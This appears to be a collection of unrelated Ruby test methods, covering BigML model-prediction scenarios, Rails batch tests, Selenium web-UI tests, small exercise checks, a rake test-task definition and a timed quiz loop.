"def test_get_etc_function_by_qa\n\t\tbatch = Batch.create!( :batchid => 291206,\n :facility => facilities(:facility1),\n :date => Date.today.strftime(\"%m/%d/%Y\"),\n :arrival_time => \"#{Time.now}\",\n :target_time\t=> \"#{Time.now.tomorrow - 64.minutes}\",\n :status => \"New\",\n :manual_override => false)\n\n\t\tjob_new = Job.create!(:batch=>batch,\n :tiff_number=>1234,:check_number=>12131,\n :count=>12,:estimated_eob => 50,\n :qa_id => 1)\n\t\tbatch.reload\n\t\tbatch.expected_completion_time = batch.expected_time\n batch.save\n\t\tetc_with_qa = batch.expected_completion_time\n\n job_one_more = Job.create(:batch=>batch,:tiff_number=>1231,\n :check_number=>12135,:count=>12,\n :estimated_eob => 50,\n :qa_id => 2)\n\t\tbatch.reload\n\t\tbatch.expected_completion_time = batch.expected_time\n batch.save\n\t\tetc_with_two_jobs = batch.expected_completion_time\n \tassert_in_delta etc_with_qa.to_i, etc_with_two_jobs.to_i,1\n\n\t\tjob_one_more.qa_id = 1\n\t\tjob_one_more.update\n\t\tbatch.reload\n\t\tbatch.expected_completion_time = batch.expected_time\n batch.save\n\t\tetc_after_change_qa = batch.expected_completion_time\n\n\t\tassert_not_equal(etc_with_qa, etc_after_change_qa)\n\n\t\tjob_new.qa_id = nil\n\t\tjob_new.update\n\t\tbatch.reload\n batch.expected_completion_time = batch.expected_time\n batch.save\n\t\tetc_after_deallocate = batch.expected_completion_time\n\t\tassert_not_equal(etc_after_deallocate, etc_after_change_qa)\n\t\tassert_in_delta etc_after_deallocate.to_i, etc_with_two_jobs.to_i, 1\n end",
"def test_scenario2\n data = [[File.dirname(__FILE__)+'/data/iris.csv', {\"petal width\" => 4}, 'Iris-setosa', {\"kind\" => \"probability\", \"threshold\" => 0.1, \"positive_class\" => \"Iris-setosa\"}, \"000004\"],\n [File.dirname(__FILE__)+'/data/iris.csv', {\"petal width\" => 4}, 'Iris-versicolor', {\"kind\" => \"probability\", \"threshold\" => 0.9, \"positive_class\" => \"Iris-setosa\"}, \"000004\"],\n [File.dirname(__FILE__)+'/data/iris.csv', {\"sepal length\" => 4.1, \"sepal width\" => 2.4}, 'Iris-setosa', {\"kind\" => \"confidence\", \"threshold\" => 0.1, \"positive_class\" => \"Iris-setosa\"}, \"000004\"],\n [File.dirname(__FILE__)+'/data/iris.csv', {\"sepal length\" => 4.1, \"sepal width\" => 2.4}, 'Iris-versicolor', {\"kind\" => \"confidence\", \"threshold\" => 0.9, \"positive_class\" => \"Iris-setosa\"}, \"000004\"]\n ]\n puts\n puts \"Scenario : Successfully comparing predictions in operating points for models\"\n\n data.each do |filename, data_input, prediction_result, operating_point, objective|\n puts\n puts \"Given I create a data source uploading a <%s> file\" % filename\n source = @api.create_source(filename, {'name'=> 'source_test', 'project'=> @project[\"resource\"]})\n\n puts \"And I wait until the source is ready\"\n assert_equal(BigML::HTTP_CREATED, source[\"code\"])\n assert_equal(1, source[\"object\"][\"status\"][\"code\"])\n assert_equal(@api.ok(source), true)\n \n puts \"And I create a dataset\"\n dataset=@api.create_dataset(source)\n\n puts \"And I wait until the dataset is ready\"\n assert_equal(BigML::HTTP_CREATED, dataset[\"code\"])\n assert_equal(1, dataset[\"object\"][\"status\"][\"code\"])\n assert_equal(@api.ok(dataset), true)\n \n puts \"And I create model\"\n model=@api.create_model(dataset)\n \n puts \"And I wait until the model is ready\"\n assert_equal(BigML::HTTP_CREATED, model[\"code\"])\n assert_equal(1, model[\"object\"][\"status\"][\"code\"])\n assert_equal(@api.ok(model), true)\n \n puts \"And I create a local model\"\n local_model = BigML::Model.new(model, @api)\n\n puts \"When I create a prediction for %s in %s \" % [JSON.generate(data_input), JSON.generate(operating_point)]\n prediction = @api.create_prediction(model, data_input, {\"operating_point\" => operating_point})\n \n assert_equal(BigML::HTTP_CREATED, prediction[\"code\"])\n assert_equal(@api.ok(prediction), true)\n\n puts \"Then the prediction for '<%s>' is '<%s>'\" % [objective, prediction_result]\n \n if !prediction['object']['prediction'][objective].is_a?(String)\n assert_equal(prediction['object']['prediction'][objective].to_f.round(5), prediction_result.to_f.round(5))\n else\n assert_equal(prediction['object']['prediction'][objective], prediction_result)\n end\n\n puts \"And I create a local prediction for <%s> in <%s>\" % [JSON.generate(data_input), JSON.generate(operating_point)]\n local_prediction = local_model.predict(data_input, {\"operating_point\" => operating_point})\n \n puts \"Then the local prediction is <%s>\" % prediction_result\n \n if local_prediction.is_a?(Array)\n local_prediction = local_prediction[0]\n elsif local_prediction.is_a?(Hash)\n local_prediction = local_prediction['prediction']\n else\n local_prediction = local_prediction\n end \n \n if (local_model.regression) or \n (local_model.is_a?(BigML::MultiModel) and local_model.models[0].regression)\n assert_equal(local_prediction.to_f.round(4), prediction_result.to_f.round(4))\n else\n assert_equal(local_prediction, prediction_result)\n end \n \n end\n \n end",
"def test_scenario6\n data = [[File.dirname(__FILE__)+'/data/iris.csv', {\"petal length\" => 2.46}, '000004', 'Iris-setosa', {}, \"probability\"],\n [File.dirname(__FILE__)+'/data/iris.csv', {\"petal length\" => 2}, '000004', 'Iris-setosa', {}, \"probability\"],\n ]\n \n puts\n puts \"Scenario: Successfully comparing predictions for deepnets with operating kind\"\n\n data.each do |filename, data_input, objective, prediction_result, params, operating_kind|\n puts\n puts \"Given I create a data source uploading a <%s> file\" % filename\n source = @api.create_source(filename, {'name'=> 'source_test', 'project'=> @project[\"resource\"]})\n\n puts \"And I wait until the source is ready\"\n assert_equal(BigML::HTTP_CREATED, source[\"code\"])\n assert_equal(1, source[\"object\"][\"status\"][\"code\"])\n assert_equal(@api.ok(source), true)\n \n puts \"And I create a dataset\"\n dataset=@api.create_dataset(source)\n\n puts \"And I wait until the dataset is ready\"\n assert_equal(BigML::HTTP_CREATED, dataset[\"code\"])\n assert_equal(1, dataset[\"object\"][\"status\"][\"code\"])\n assert_equal(@api.ok(dataset), true)\n \n puts \"And I create a deepnet with objective <%s> and <%s>\" % [objective, JSON.generate(params)]\n deepnet = @api.create_deepnets(dataset, params.merge({\"objective_field\" => objective}))\n \n puts \"And I wait until the deepnet is ready\"\n assert_equal(BigML::HTTP_CREATED, deepnet[\"code\"])\n assert_equal(@api.ok(deepnet), true)\n \n puts \"And I create a local deepnet\"\n local_deepnet = BigML::Deepnet.new(deepnet['resource'])\n \n puts \" When I create a prediction for <%s>\" % [JSON.generate(data_input)]\n prediction = @api.create_prediction(deepnet['resource'], data_input, {\"operating_kind\" => operating_kind})\n\n puts \"Then the prediction for <%s> is <%s>\" % [objective, prediction_result]\n \n if !prediction['object']['prediction'][objective].is_a?(String)\n assert_equal(prediction['object']['prediction'][objective].to_f.round(5), prediction_result.to_f.round(5))\n else\n assert_equal(prediction['object']['prediction'][objective], prediction_result)\n end \n\n puts \"And I create a local prediction for <%s>\" % JSON.generate(data_input)\n local_prediction = local_deepnet.predict(data_input,{\"operating_kind\" => operating_kind})\n \n puts \"Then the local prediction is <%s>\" % prediction_result\n \n if local_prediction.is_a?(Array)\n local_prediction = local_prediction[0]\n elsif local_prediction.is_a?(Hash)\n local_prediction = local_prediction['prediction']\n else\n local_prediction = local_prediction\n end \n \n if (local_deepnet.regression) or \n (local_deepnet.is_a?(BigML::MultiModel) and local_deepnet.models[0].regression)\n assert_equal(local_prediction.to_f.round(4), prediction_result.to_f.round(4))\n else\n assert_equal(local_prediction, prediction_result)\n end \n \n end\n end",
"def test_scenario1\n data = [\n {\"filename\" => File.dirname(__FILE__)+\"/data/predictions_c.json\", \n \"method\" => 0,\n \"prediction\" => \"a\",\n\t \"confidence\" => 0.450471270879},\n {\"filename\" => File.dirname(__FILE__)+\"/data/predictions_c.json\",\n \"method\" => 1,\n \"prediction\" => \"a\",\n \"confidence\" => 0.552021302649},\n {\"filename\" => File.dirname(__FILE__)+\"/data/predictions_c.json\",\n \"method\" => 2,\n \"prediction\" => \"a\",\n \"confidence\" => 0.403632421178},\n {\"filename\" => File.dirname(__FILE__)+\"/data/predictions_r.json\",\n \"method\" => 0,\n \"prediction\" => 1.55555556667, \n \"confidence\" => 0.400079152063},\n {\"filename\" => File.dirname(__FILE__)+\"/data/predictions_r.json\",\n \"method\" => 1,\n \"prediction\" => 1.59376845074,\n \"confidence\" => 0.248366474212},\n {\"filename\" => File.dirname(__FILE__)+\"/data/predictions_r.json\",\n \"method\" => 2,\n \"prediction\" => 1.55555556667,\n \"confidence\" => 0.400079152063}\n ]\n\n puts \"Scenario: Successfully computing predictions combinations\"\n data.each do |item|\n puts\n\n puts \"Given I create a MultiVote for the set of predictions in file <%s>\" % item[\"filename\"]\n multivote = BigML::MultiVote.new(JSON.parse(File.open(item[\"filename\"], \"rb\").read))\n\n puts \"When I compute the prediction with confidence using method <%s>\" % item[\"method\"]\n combined_results = multivote.combine(item[\"method\"], nil, true)\n\n puts \"And I compute the prediction without confidence using method <%s>\" % item[\"method\"] \n combined_results_no_confidence = multivote.combine(item[\"method\"])\n\n if multivote.is_regression() \n puts \"Then the combined prediction is <%s>\" % item[\"prediction\"]\n assert_equal(combined_results[\"prediction\"].round(6), item[\"prediction\"].round(6))\n puts \"And the combined prediction without confidence is <%s>\" % item[\"prediction\"]\n assert_equal(combined_results_no_confidence.round(6), item[\"prediction\"].round(6))\n else\n puts \"Then the combined prediction is <%s>\" % item[\"prediction\"]\n assert_equal(combined_results[\"prediction\"], item[\"prediction\"])\n puts \"And the combined prediction without confidence is <%s>\" % item[\"prediction\"]\n assert_equal(combined_results_no_confidence,item[\"prediction\"])\n end\n puts \"And the confidence for the combined prediction is %s \" % item[\"confidence\"]\n assert_equal(combined_results[\"confidence\"].round(5), item[\"confidence\"].round(5)) \n end\n\n end",
"def test_exercise_1115\n verify_method :exercise_1115,\n :with => [{params: [[0], 1], expect: [1]},\n {params: [[0], 2], expect: [1, 0]},\n {params: [[1, 1], 2], expect: [0, 2]},\n {params: [[1, 2, 3, 3, 3, 4], 5], expect: [0, 1, 1, 3, 1]}]\n end",
"def testSimpleTasksReordering\n executeSimpleTest(\n [ [ 'T1', 'R1', 800, 2, [], ' =='],\n [ 'T2', 'R1', 100, 2, ['T3'], '=='],\n [ 'T3', 'R2', 900, 2, [], ' =='],\n [ 'T4', 'R3', 200, 3, ['T3'], '==='] ] )\n end",
"def test_scenario15\n data = [['data/iris.csv', {\"weight_field\" => \"000000\", \"missing_numerics\" => false}, {\"petal width\" => 1.5, \"petal length\" => 2, \"sepal width\" => 1}, 'Iris-versicolor', 0.9547, '000004']]\n puts \"\"\n puts \"Scenario: Successfully comparing predictions with text options\"\n\n data.each do |filename, parms, data_input, prediction_result, probability, objective|\n puts\n puts \"Given I create a data source uploading a <%s> file\" % filename\n\n source = @api.create_source(File.dirname(__FILE__)+\"/\"+filename, {'name'=> 'source_test', 'project'=> @project[\"resource\"]})\n\n puts \"And I wait until the source is ready\"\n assert_equal(BigML::HTTP_CREATED, source[\"code\"])\n assert_equal(1, source[\"object\"][\"status\"][\"code\"])\n assert_equal(@api.ok(source), true)\n\n puts \"And I create a dataset\"\n dataset=@api.create_dataset(source)\n\n puts \"And I wait until the dataset is ready\"\n assert_equal(BigML::HTTP_CREATED, dataset[\"code\"])\n assert_equal(1, dataset[\"object\"][\"status\"][\"code\"])\n assert_equal(@api.ok(dataset), true)\n \n puts \"And I create a logistic regression model with objective <%s> and params <%s>\" % [objective, parms]\n logistic_regression = @api.create_logisticregression(dataset, {'objective_field' => objective}.merge(parms))\n \n puts \"And I wait until the logistic regression model is ready\"\n assert_equal(BigML::HTTP_CREATED, logistic_regression[\"code\"])\n assert_equal(@api.ok(logistic_regression), true)\n\n puts \"And I create a local logistic regression model\"\n localLogisticRegression = BigML::Logistic.new(logistic_regression)\n\n puts \"When I create a logistic regression prediction for <%s>\" % JSON.generate(data_input)\n prediction = @api.create_prediction(logistic_regression, data_input)\n assert_equal(BigML::HTTP_CREATED, prediction[\"code\"])\n\n puts \"Then the logistic regression prediction is <%s>\" % prediction_result\n assert_equal(prediction_result, prediction[\"object\"][\"output\"])\n\n puts \"And the logistic regression probability for the prediction is <%s>\" % probability\n\n prediction[\"object\"][\"probabilities\"].each do |prediction_value, remote_probability|\n if prediction_value == prediction[\"object\"][\"output\"]\n assert_equal(remote_probability.to_f.round(3),probability.round(3))\n break\n end\n end\n\n puts \"And I create a local logistic regression prediction for <%s>\" % JSON.generate(data_input)\n local_prediction = localLogisticRegression.predict(data_input, {\"full\" => true})\n\n puts \"Then the local logistic regression prediction is <%s>\" % prediction_result\n assert_equal(prediction_result, local_prediction[\"prediction\"])\n\n puts \"And the local logistic regression probability for the prediction is <%s>\" % probability\n assert_equal(probability.round(4), local_prediction[\"probability\"].round(4))\n\n end\n end",
"def test(msg, expected, actual)\n if expected == actual\n puts \"pass!! #{msg}\"\n else\n puts \"fail!! #{msg}\"\n end\nend",
"def mt_first_name_with_numbers\r\n# This is a negative test for the MT4 CI Demo form (only letters are valid).\r\n $test_count = $test_count + 1\r\n $test_count1 = $test_count \r\n $results.puts \"\"\r\n $results.puts \"Starting MT4 First Name has number Test.\"\r\n setup_negative_test\r\n site_connect_ci\r\n accept_cookie_policy\r\n get_server_name\r\n mt_validate_title_demo_signup\r\n $results.puts \"first name with number test, brand = \"+$brand\r\n mt_populate_form_first_name_with_numbers\r\n mt_populate_form_last_name\r\n mt_populate_form_email\r\n mt_populate_form_phone_number\r\n mt_negative_demo_form_submit\r\n mt_negative_validate_confirm_page\r\n $results.puts \"***** MT4 First Name has Number Test Completed, Status:\" \r\n $results.puts \"Total Test Executed Pass / Fail (Running Total for Test Audit Trail.)\"\r\n $results.puts \"Test Count = \" + $test_count1.to_s\r\n $results.puts \"Test Pass Count = \" + $test_pass_count.to_s\r\n $results.puts \"Test Failed Count = \" + $test_failed_count.to_s\r\n $summary_results.puts \"***** MT4 First Name has Number Test Completed, Status:\"\r\n $summary_results.puts \"Total Test Executed Pass / Fail (Running Total for Test Audit Trail.)\"\r\n $summary_results.puts \"Test Count = \" + $test_count1.to_s\r\n $summary_results.puts \"Test Pass Count = \" + $test_pass_count.to_s\r\n $summary_results.puts \"Test Failed Count = \" + $test_failed_count.to_s\r\n $results.puts \"***************************************************************************\"\r\n $results.puts \"End MT4 Negative Form Test First Name has Number, Country = \" + $country \r\n $results.puts \"***************************************************************************\"\r\n $summary_results.puts \"*******************************************************************\"\r\n $summary_results.puts \"******* End MT4 First Name has Number Test. ***********************\"\r\n $summary_results.puts \"*******************************************************************\"\r\nend",
"def running_test_case; end",
"def define_test_tasks\n default_tasks = []\n\n if File.directory? \"test\" then\n desc 'Run the test suite. Use FILTER or TESTOPTS to add flags/args.'\n task :test do\n ruby make_test_cmd\n end\n\n desc 'Run the test suite using multiruby.'\n task :multi do\n ruby make_test_cmd(:multi)\n end\n\n desc 'Show which test files fail when run alone.'\n task :test_deps do\n tests = Dir[\"test/**/test_*.rb\"] + Dir[\"test/**/*_test.rb\"]\n\n paths = ['bin', 'lib', 'test'].join(File::PATH_SEPARATOR)\n null_dev = Hoe::WINDOZE ? '> NUL 2>&1' : '&> /dev/null'\n\n tests.each do |test|\n if not system \"ruby -I#{paths} #{test} #{null_dev}\" then\n puts \"Dependency Issues: #{test}\"\n end\n end\n end\n\n default_tasks << :test\n end\n\n if File.directory? \"spec\" then\n begin\n require 'spec/rake/spectask'\n\n desc \"Run all specifications\"\n Spec::Rake::SpecTask.new(:spec) do |t|\n t.libs = self.rspec_dirs\n t.spec_opts = self.rspec_options\n end\n rescue LoadError\n # do nothing\n end\n default_tasks << :spec\n end\n\n desc 'Run the default task(s).'\n task :default => default_tasks\n\n desc 'Run ZenTest against the package.'\n task :audit do\n libs = %w(lib test ext).join(File::PATH_SEPARATOR)\n sh \"zentest -I=#{libs} #{spec.files.grep(/^(lib|test)/).join(' ')}\"\n end\n end",
"def check_solution(test_number, argument, expected)\n actual = fields(argument)\n if actual != expected\n puts \"Test ##{test_number}: Incorrect value: got #{actual}, expected #{expected}\"\n return false\n end\n\n puts \"Test ##{test_number}: Correct\"\n return true\nend",
"def test_exercise_119\n verify_method :exercise_119,\n :with => [{param: 1, expect: '1'},\n {param: 2, expect: '10'},\n {param: 3, expect: '11'},\n {param: 8, expect: '1000'},\n {param: 11, expect: '1011'}]\n end",
"def test_example_2\n result = @project_calc.calculate_project_cost(base_price: 5432.00, num_workers: 1, product_categories: ['drugs'])\n assert_equal 6199.81, result\n end",
"def test_suma\n \t\tassert_equal(@mr,(@mq+@mp)) #dispersas\n \t\tassert_equal(@c,(@a+@b)) #fraccionales\n\t\tassert_equal(@md,(@ma+@mz)) #densa\n \tend",
"def check test, block\n res = []\n begin\n block.call\n rescue ApiPi::AssertionError => e\n res << e.message\n end\n failed = !res.empty?\n failed ? @failure_count += 1 : @success_count += 1\n puts \"\\tERROR: #{res.first}\\n\" if failed\n end",
"def test_scenario5\n data = [[File.dirname(__FILE__)+'/data/iris.csv', {\"petal length\" => 2.46, \"sepal length\" => 5}, 'Iris-versicolor', \"probability\", \"000004\"],\n [File.dirname(__FILE__)+'/data/iris.csv', {\"petal length\" => 2.46, \"sepal length\" => 5}, 'Iris-versicolor', \"confidence\", \"000004\"],\n [File.dirname(__FILE__)+'/data/iris.csv', {\"petal length\" => 2}, 'Iris-setosa', \"probability\", \"000004\"],\n [File.dirname(__FILE__)+'/data/iris.csv', {\"petal length\" => 2}, 'Iris-setosa', \"confidence\", \"000004\"],\n ]\n puts\n puts \"Scenario: Successfully comparing predictions in operating kind for models:\"\n\n data.each do |filename, data_input, prediction_result, operating_kind, objective|\n puts\n puts \"Given I create a data source uploading a <%s> file\" % filename\n source = @api.create_source(filename, {'name'=> 'source_test', 'project'=> @project[\"resource\"]})\n\n puts \"And I wait until the source is ready\"\n assert_equal(BigML::HTTP_CREATED, source[\"code\"])\n assert_equal(1, source[\"object\"][\"status\"][\"code\"])\n assert_equal(@api.ok(source), true)\n \n puts \"And I create a dataset\"\n dataset=@api.create_dataset(source)\n\n puts \"And I wait until the dataset is ready\"\n assert_equal(BigML::HTTP_CREATED, dataset[\"code\"])\n assert_equal(1, dataset[\"object\"][\"status\"][\"code\"])\n assert_equal(@api.ok(dataset), true)\n \n puts \"And I create model\"\n model=@api.create_model(dataset)\n \n puts \"And I wait until the model is ready\"\n assert_equal(BigML::HTTP_CREATED, model[\"code\"])\n assert_equal(1, model[\"object\"][\"status\"][\"code\"])\n assert_equal(@api.ok(model), true)\n \n puts \"And I create a local model\"\n local_model = BigML::Model.new(model, @api)\n\n puts \"When I create a prediction for %s in %s \" % [JSON.generate(data_input), JSON.generate(operating_kind)]\n prediction = @api.create_prediction(model, data_input, {\"operating_kind\" => operating_kind})\n \n assert_equal(BigML::HTTP_CREATED, prediction[\"code\"])\n assert_equal(@api.ok(prediction), true)\n\n puts \"Then the prediction for '<%s>' is '<%s>'\" % [objective, prediction_result]\n \n if !prediction['object']['prediction'][objective].is_a?(String)\n assert_equal(prediction['object']['prediction'][objective].to_f.round(5), prediction_result.to_f.round(5))\n else\n assert_equal(prediction['object']['prediction'][objective], prediction_result)\n end\n\n puts \"And I create a local prediction for <%s> in <%s>\" % [JSON.generate(data_input), JSON.generate(operating_kind)]\n local_prediction = local_model.predict(data_input, {\"operating_kind\" => operating_kind})\n \n puts \"Then the local prediction is <%s>\" % prediction_result\n \n if local_prediction.is_a?(Array)\n local_prediction = local_prediction[0]\n elsif local_prediction.is_a?(Hash)\n local_prediction = local_prediction['prediction']\n else\n local_prediction = local_prediction\n end \n \n if (local_model.regression) or \n (local_model.is_a?(BigML::MultiModel) and local_model.models[0].regression)\n assert_equal(local_prediction.to_f.round(4), prediction_result.to_f.round(4))\n else\n assert_equal(local_prediction, prediction_result)\n end \n \n end\n \n end",
"def test_002\n\n # login\n login\n @@pu = 1\n @@pj = 1\n open\"/devgroup/pj_index/#{@@pu}/#{@@pj}\"\n wait_for_page_to_load \"30000\"\n\n # test for individual analysis task\n open(\"/task/index2/#{@@pu}/#{@@pj}\")\n #The contents of a display of a \"master\" tab become\n # a thing for individual analysis task registration.\n click $xpath[\"task\"][\"main_area_td4\"]\n wait_for_page_to_load \"30000\"\n assert is_text_present(_(\"Registration of an Analysis Task\"))\n # select analyze type: 個人解析\n select \"analyze_type\", \"label=#{@individual}\"\n #Click Master tab\n click $xpath[\"task\"][\"master_tab\"]\n assert !60.times{ break if (is_text_present(_(\"Select a master\")) rescue false); sleep 2 }\n #Select \"uploading a file individually\"\n click \"file_upload_upload_way_upload_each\"\n assert is_text_present(_(\"Uploaded individually.\"))\n click $xpath[\"task\"][\"read_tree\"]\n\n assert !60.times{ break if (is_text_present(_(\"Directory structure\")) rescue false); sleep 2 }\n # logout\n logout\n\n end",
"def test_exercise_1111\n verify_method :exercise_1111,\n :with => [{param: [[true]], expect: \" 1\\n1*\\n\"},\n {param: [[false]], expect: \" 1\\n1 \\n\"},\n {param: [[true, false]], expect: \" 12\\n1* \\n\"},\n {param: [[true, false], [true, false]], expect: \" 12\\n1* \\n2* \\n\"}]\n end",
"def test_exercise_113\n verify_method :exercise_113,\n :with => [{param: '1 2 3', expect: false},\n {param: '1 1 1', expect: true}]\n end",
"def test_003\n\n # login\n login\n @@pu = 1\n @@pj = 1\n open\"/devgroup/pj_index/#{@@pu}/#{@@pj}\"\n wait_for_page_to_load \"30000\"\n\n # test for individual analysis task\n open(\"/task/index2/#{@@pu}/#{@@pj}\")\n #The contents of a display of a \"master\" tab become\n # a thing for individual analysis task registration.\n click $xpath[\"task\"][\"main_area_td4\"]\n wait_for_page_to_load \"30000\"\n assert is_text_present(_(\"Registration of an Analysis Task\"))\n # select analyze type: 個人解析\n select \"analyze_type\", \"label=#{@individual}\"\n click $xpath[\"task\"][\"master_tab\"]\n assert !60.times{ break if (is_text_present(_(\"Select a master\")) rescue false); sleep 2 }\n # select uploading method in the master tab\n assert is_text_present(_(\"Select a master\"))\n assert is_text_present(_(\"Master\"))\n assert is_text_present(_(\"Select the upload method of individual analysis files\"))\n assert is_text_present(_(\"Upload of individual analysis files\"))\n\n #Select \"uploading a file individually\"\n click \"file_upload_upload_way_upload_each\"\n assert is_text_present(_(\"Uploaded individually.\"))\n #Click button Read tree\n click $xpath[\"task\"][\"read_tree\"]\n assert !60.times{ break if (is_text_present(_(\"Directory structure\")) rescue false); sleep 2 }\n #It will return, if a check is returned for uploading collectively (F2-003)\n click $xpath[\"task\"][\"master_tab\"]\n assert !60.times{ break if (is_text_present(_(\"Select a master\")) rescue false); sleep 2 }\n # logout\n logout\n\n end",
"def test2 (number)\n answer2 = case number\n when 0..50\n \"Your number is between 0 and 50\"\n when 51..100\n \"Your number is between 50 and 100\"\n else\n if (number < 0)\n answer2 = \"Come on, the number has to be at least 0.\"\n elsif (number > 100)\n answer2 = \"Hey #{number} is above 100, dummy!\"\n end\n return answer2\n end\nend",
"def test_loop(type, quiz_name, quiz, user_name, time)\r\n clear\r\n # Initialize the array container for all necessary arguments\r\n status = []\r\n total_score = 0\r\n correct_count = 0\r\n incorrect_count = 0\r\n result = nil\r\n right_answer = nil\r\n start_time = 0\r\n status.push(total_score).push(correct_count).push(incorrect_count)\r\n # Loop the length of the quiz collection times to finish the test\r\n (1..quiz['Content'].size).each do |i|\r\n # Workaround timeout method by using the timeout libray in Ruby which automatically terminate the previous thread in a setting time\r\n Timeout.timeout(time) do\r\n clear\r\n # Get the start time stamp for future score calculation\r\n start_time = Process.clock_gettime(Process::CLOCK_MONOTONIC)\r\n # Displaying the question content and prompt for selection\r\n puts '-------------------Time is ticking:D---------------------------'.colorize(:light_magenta)\r\n puts 'You have get ' + (status[1]).to_s.colorize(:light_yellow) + ' correct answer(s) so far. And the total score is' + \" #{status[0]}.\\n\\n\".colorize(:light_blue)\r\n puts \"Question #{i}.\".colorize(:blue) + \" #{quiz['Content'][i - 1]['Question']}\\n\\n\"\r\n right_answer = quiz['Content'][i - 1]['Right_answer']\r\n\r\n # According to the selection, invoke the vailidat_answer method and pass necessary attributes\r\n options = [\r\n { name: \"A. #{quiz['Content'][i - 1]['A']}\", value: lambda {\r\n result = 'A'\r\n return result, right_answer, status, start_time, time\r\n } },\r\n { name: \"B. #{quiz['Content'][i - 1]['B']}\", value: lambda {\r\n result = 'B'\r\n return result, right_answer, status, start_time, time\r\n } },\r\n { name: \"C. #{quiz['Content'][i - 1]['C']}\", value: lambda {\r\n result = 'C'\r\n return result, right_answer, status, start_time, time\r\n } },\r\n { name: \"D. #{quiz['Content'][i - 1]['D']}\", value: lambda {\r\n result = 'D'\r\n return result, right_answer, status, start_time, time\r\n } }\r\n ]\r\n option = @prompt.select(\r\n \"Please select the answer as fast as you can to gain more score.\\nIf you select wrong answer or time expired, you will not get the score for Question #{i}\", options, help: \"(Pressing Enter to go back)\\n\\n\\n\", show_help: :always, per_page: 4\r\n )\r\n end\r\n validate_answer(result, right_answer, status, start_time, time)\r\n # If time expired, then apply the following logic to assian attribute to validate method\r\n rescue Timeout::Error\r\n clear\r\n timeout_banner\r\n puts\r\n puts \"\\n\\nOh, no!!! The #{time}s haven been passed.\"\r\n start_time = Process.clock_gettime(Process::CLOCK_MONOTONIC)\r\n right_answer = quiz['Content'][i - 1]['Right_answer']\r\n result = 'expired'\r\n validate_answer(result, right_answer, status, start_time, time)\r\n end\r\n\r\n clear\r\n test_banner\r\n puts\r\n puts \"Well done, My friend. You did a great job! Let's see waht the results is.\"\r\n enter_to_continue\r\n mode = @test.time_level.key(time)\r\n # Gather all the necessary attributes and form a array\r\n status.push(type).push(quiz_name).push(user_name).push(mode)\r\n # After finsih the test loop, pass attribute array to display result and save method\r\n dispaly_result_and_save(status)\r\n end",
"def test_scenario5\n data = [{'filename' => File.dirname(__FILE__)+'/data/tiny_kdd.csv',\n 'local_file' => File.dirname(__FILE__)+'/tmp/batch_predictions.csv', \n 'predictions_file' => File.dirname(__FILE__)+'/data/batch_predictions_a.csv'}]\n\n puts \n puts \"Scenario: Successfully creating a batch anomaly score from an anomaly detector\"\n\n data.each do |item|\n puts\n puts \"Given I create a data source uploading a #{item['filename']} file\"\n source = @api.create_source(item[\"filename\"], {'name'=> 'source_test', 'project'=> @project[\"resource\"]})\n\n puts \"And I wait until the source is ready\"\n assert_equal(BigML::HTTP_CREATED, source[\"code\"])\n assert_equal(1, source[\"object\"][\"status\"][\"code\"])\n assert_equal(@api.ok(source), true)\n \n puts \"And I create dataset with local source\"\n dataset=@api.create_dataset(source)\n\n puts \"And I wait until the dataset is ready\"\n assert_equal(BigML::HTTP_CREATED, dataset[\"code\"])\n assert_equal(1, dataset[\"object\"][\"status\"][\"code\"])\n assert_equal(@api.ok(dataset), true)\n \n puts \"And I create an anomaly detector\"\n anomaly=@api.create_anomaly(dataset)\n \n puts \"And I wait until the anomaly detector is ready\"\n assert_equal(BigML::HTTP_CREATED, anomaly[\"code\"])\n assert_equal(1, anomaly[\"object\"][\"status\"][\"code\"])\n assert_equal(@api.ok(anomaly), true)\n \n puts \"When I create a batch anomaly score\"\n batch_anomaly_score=@api.create_batch_anomaly_score(anomaly, dataset)\n \n puts \"And I check the batch anomaly score is ok\"\n assert_equal(BigML::HTTP_CREATED, batch_anomaly_score[\"code\"])\n assert_equal(1, batch_anomaly_score[\"object\"][\"status\"][\"code\"])\n assert_equal(@api.ok(batch_anomaly_score), true)\n \n puts \"And I download the created anomaly score file to #{item['local_file']}\"\n filename = @api.download_batch_anomaly_score(batch_anomaly_score, item[\"local_file\"])\n assert_not_nil(filename)\n \n puts \"Then the batch anomaly score file is like #{item['predictions_file']}\"\n assert_equal(FileUtils.compare_file(item[\"local_file\"], item[\"predictions_file\"]), true)\n \n end\n end",
"def test_008\n\n # login\n login\n\n # Open PU management page\n open_pu_management_page_1\n\n #Find a PU\n\n @@pu = Pu.find_by_name('SamplePU1')\n open \"/devgroup/pu_index/#{@@pu.id}\"\n wait_for_page_to_load \"30000\"\n\n sleep 2\n\n #Find a PJ of PU\n open_pj_management_page(@@pu.id)\n @@pj = Pj.find_by_name('SamplePJ1')#\n open\"/devgroup/pj_index/#{@@pu.id}/#{@@pj.id}\"\n wait_for_page_to_load \"30000\"\n\n #Open \"Registration of analysis task\" page\n open(\"/task/index2/#{@@pu.id}/#{@@pj.id}\")\n # test master of PJ is not registered\n assert is_text_present(_(\"Details of an analysis task\"))\n click $xpath[\"task\"][\"main_area_td4\"]\n assert !60.times{ break if (is_text_present(_(\"Registration of an Analysis Task\")) rescue false); sleep 2 }\n\n click $xpath[\"task\"][\"general_control_tab\"]\n assert !60.times{ break if (is_text_present(_(\"Basic Setting\")) rescue false); sleep 2 }\n sleep 3\n select \"analyze_type\", \"label=#{@individual}\"\n sleep 3\n click $xpath[\"task\"][\"master_tab\"]\n assert !60.times{ break if (is_text_present(_(\"Select a master\")) rescue false); sleep 2 }\n\n # test for value of master into combobox in master tab\n assert_equal [\"sample_c_cpp\"], get_select_options(\"master_id\")\n assert is_text_present(_(\"Optional setting\"))\n\n click $xpath[\"task\"][\"registration_task_button\"]\n sleep 2\n #assert !60.times{ break if (is_text_present(\"解析ツール未選択 入力内容に問題があるためタスクを登録できません。\") rescue false); sleep 2 }\n\n\n # logout\n logout\n\n end",
